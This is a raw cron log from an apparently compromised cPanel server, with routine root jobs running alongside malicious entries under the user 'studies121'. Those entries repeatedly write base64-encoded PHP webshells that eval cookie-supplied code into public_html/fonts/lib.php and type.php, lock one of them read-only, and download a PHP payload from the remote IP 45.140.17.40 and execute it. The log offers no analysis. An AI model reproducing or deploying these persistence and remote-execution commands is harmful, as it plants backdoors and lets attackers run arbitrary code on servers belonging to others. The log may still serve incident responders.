Sep  2 18:29:01 ip-184-168-122-23 CROND[26908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:29:01 ip-184-168-122-23 CROND[26909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:30:01 ip-184-168-122-23 CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:30:01 ip-184-168-122-23 CROND[27001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:30:01 ip-184-168-122-23 CROND[27006]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:30:01 ip-184-168-122-23 CROND[27007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:30:01 ip-184-168-122-23 CROND[27002]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:30:01 ip-184-168-122-23 CROND[27004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:30:01 ip-184-168-122-23 CROND[27003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:30:01 ip-184-168-122-23 CROND[27005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:31:01 ip-184-168-122-23 CROND[27111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:31:01 ip-184-168-122-23 CROND[27112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:31:01 ip-184-168-122-23 CROND[27115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:31:01 ip-184-168-122-23 CROND[27116]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 18:31:01 ip-184-168-122-23 CROND[27114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:32:01 ip-184-168-122-23 CROND[27215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:32:01 ip-184-168-122-23 CROND[27217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:32:01 ip-184-168-122-23 CROND[27218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:32:01 ip-184-168-122-23 CROND[27219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:32:01 ip-184-168-122-23 CROND[27220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:33:01 ip-184-168-122-23 CROND[27388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:33:01 ip-184-168-122-23 CROND[27390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:33:01 ip-184-168-122-23 CROND[27391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:33:01 ip-184-168-122-23 CROND[27392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:34:01 ip-184-168-122-23 CROND[27467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:34:01 ip-184-168-122-23 CROND[27469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:34:01 ip-184-168-122-23 CROND[27470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:34:01 ip-184-168-122-23 CROND[27474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:34:01 ip-184-168-122-23 CROND[27472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:35:01 ip-184-168-122-23 CROND[27566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:35:01 ip-184-168-122-23 CROND[27568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:35:01 ip-184-168-122-23 CROND[27572]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:35:01 ip-184-168-122-23 CROND[27569]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 18:35:01 ip-184-168-122-23 CROND[27573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:35:01 ip-184-168-122-23 CROND[27570]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:35:01 ip-184-168-122-23 CROND[27571]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 18:35:01 ip-184-168-122-23 CROND[27579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:36:01 ip-184-168-122-23 CROND[27668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:36:01 ip-184-168-122-23 CROND[27672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:36:01 ip-184-168-122-23 CROND[27670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:36:01 ip-184-168-122-23 CROND[27673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:36:01 ip-184-168-122-23 CROND[27671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:37:01 ip-184-168-122-23 CROND[27785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:37:01 ip-184-168-122-23 CROND[27788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:37:01 ip-184-168-122-23 CROND[27786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:37:01 ip-184-168-122-23 CROND[27787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:38:01 ip-184-168-122-23 CROND[27874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:38:01 ip-184-168-122-23 CROND[27876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:38:01 ip-184-168-122-23 CROND[27877]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:38:01 ip-184-168-122-23 CROND[27879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:38:01 ip-184-168-122-23 CROND[27878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:39:01 ip-184-168-122-23 CROND[28047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:39:01 ip-184-168-122-23 CROND[28049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:39:01 ip-184-168-122-23 CROND[28050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:39:01 ip-184-168-122-23 CROND[28051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:39:01 ip-184-168-122-23 CROND[28052]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 18:40:02 ip-184-168-122-23 CROND[28154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 18:40:02 ip-184-168-122-23 CROND[28157]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:40:02 ip-184-168-122-23 CROND[28156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 18:40:02 ip-184-168-122-23 CROND[28158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:40:02 ip-184-168-122-23 CROND[28159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 18:40:02 ip-184-168-122-23 CROND[28161]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:40:02 ip-184-168-122-23 CROND[28163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:40:02 ip-184-168-122-23 CROND[28164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:41:01 ip-184-168-122-23 CROND[28254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
